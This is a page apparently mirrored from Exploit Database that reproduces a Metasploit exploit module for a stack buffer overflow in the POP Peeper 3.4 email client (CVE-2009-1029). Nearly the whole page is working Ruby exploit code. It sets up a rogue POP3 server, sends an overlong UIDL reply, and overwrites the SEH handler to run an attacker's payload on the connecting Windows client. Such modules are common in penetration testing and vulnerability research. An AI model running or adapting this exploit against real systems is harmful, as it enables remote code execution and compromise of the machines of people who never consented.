POP Peeper 3.4 – UIDL Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-11-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16458/

• ##
  # $Id: poppeeper_uidl.rb 11180 2010-11-30 20:19:18Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::TcpServer
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'POP Peeper v3.4 UIDL Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in POP Peeper v3.4.
  				When a specially crafted UIDL string is sent to a client,
  				an attacker may be able to execute arbitrary code. This
  				module is based off of krakowlabs code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 11180 $',
  			'References' =>
  				[
  					[ 'OSVDB', '53559' ],
  					[ 'CVE', '2009-1029' ],
  					[ 'BID', '33926' ],
  					[ 'URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 750,
  					'BadChars' => "\x00\x0a\x20\x0d",
  					'StackAdjustment'=> -3500,
  					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
  					'DisableNops' => 'True',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'POP Peeper v3.4',	{ 'Ret' => 0x10014e39 } ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Feb 27 2009',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ])
  			], self.class)
  	end
  
  	def on_client_connect(client)
  		ok = "+OK\r\n"
  		client.put(ok)
  	end
  
  	def on_client_data(client)
  		return if ((p = regenerate_payload(client)) == nil)
  
  		ok = "+OK\r\n"
  		client.put(ok)
  
  		client.get_once
  
  		ok = "+OK\r\n"
  		client.put(ok)
  
  		client.get_once
  
  		ok = "+OK 1 100\r\n"
  		client.put(ok)
  
  		client.get_once
  
  		sploit = "+OK\r\n1 " + rand_text_alpha_upper(1072) + generate_seh_payload(target.ret) + "\r\n.\r\n"
  
  		client.put(sploit)
  
  		handler
  		service.close_client(client)
  	end
  
  end